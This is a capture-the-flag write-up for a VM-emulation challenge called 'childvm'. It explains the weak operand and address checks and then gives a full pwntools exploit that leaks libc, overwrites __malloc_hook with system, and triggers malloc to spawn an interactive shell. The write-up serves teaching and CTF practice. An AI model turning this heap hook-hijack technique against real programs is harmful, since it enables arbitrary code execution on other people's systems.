Introduction
This challenge is much easier than the VM escape challenge in SECCON 2017. It emulates parts of simple operations on CPU.
Vulnerability Analysis
There exists two verification functions in the challenge.
validateOpndValue(opnd) verifies if opnd is less than 4.
validateBufAddress(addr) verifies if addr & 0xffff0000 is not 0x8040000.
The challenge also provides operations for malloc and free.
The procedure of the exploit is normal: leak the base address of libc, overwrite the value in &__malloc_hook and then trigger malloc to hijack control flow.
Exploit
from pwn import * DEBUG = int(sys.argv[1]); if(DEBUG == 0): r = remote("1.2.3.4", 23333); elif(DEBUG == 1): r = process("./childvm"); elif(DEBUG == 2): r = process("./childvm"); gdb.attach(r, '''source ./script'''); OP_MOV_IMM = 0x10; OP_MALLOC = 0x20; OP_FREE = 0x30; OP_ADD = 0x40; OP_SUB = 0x50; OP_READ = 0x70; OP_MOV_MEM = 0x80; OP_OUTPUT = 0x90; OP_EXIT = 0xff def exec_vm(opcode, opnd1, opnd2): instruction = p8(opcode) + p32(opnd1) + p32(opnd2); r.send(instruction); def exploit(): libc = ELF("./libc.so.6_32"); exec_vm(OP_MALLOC, 0xa0, 0); exec_vm(OP_MALLOC, 0xa0, 0); exec_vm(OP_MOV_IMM, 0, 0xa8); exec_vm(OP_SUB, 3, 0); exec_vm(OP_MOV_MEM, 0, 3); exec_vm(OP_FREE, 0, 0); exec_vm(OP_OUTPUT, 0, 0); leak = r.recv(4); leakedValue = u32(leak); log.info("0x%x" % leakedValue); libcBaseAddr = leakedValue-0x1b27b0; log.info("0x%x" % libcBaseAddr); mallocHookAddr = libcBaseAddr + 0x1b2768; shAddr = libcBaseAddr + 0x15b9ab; exec_vm(OP_MOV_IMM, 0, mallocHookAddr); exec_vm(OP_MOV_IMM, 1, 4); exec_vm(OP_READ, 0, 0); funPtr = p32(libcBaseAddr + 0x3ada0); r.send(funPtr); exec_vm(OP_MALLOC, shAddr, 0); r.interactive(); exploit();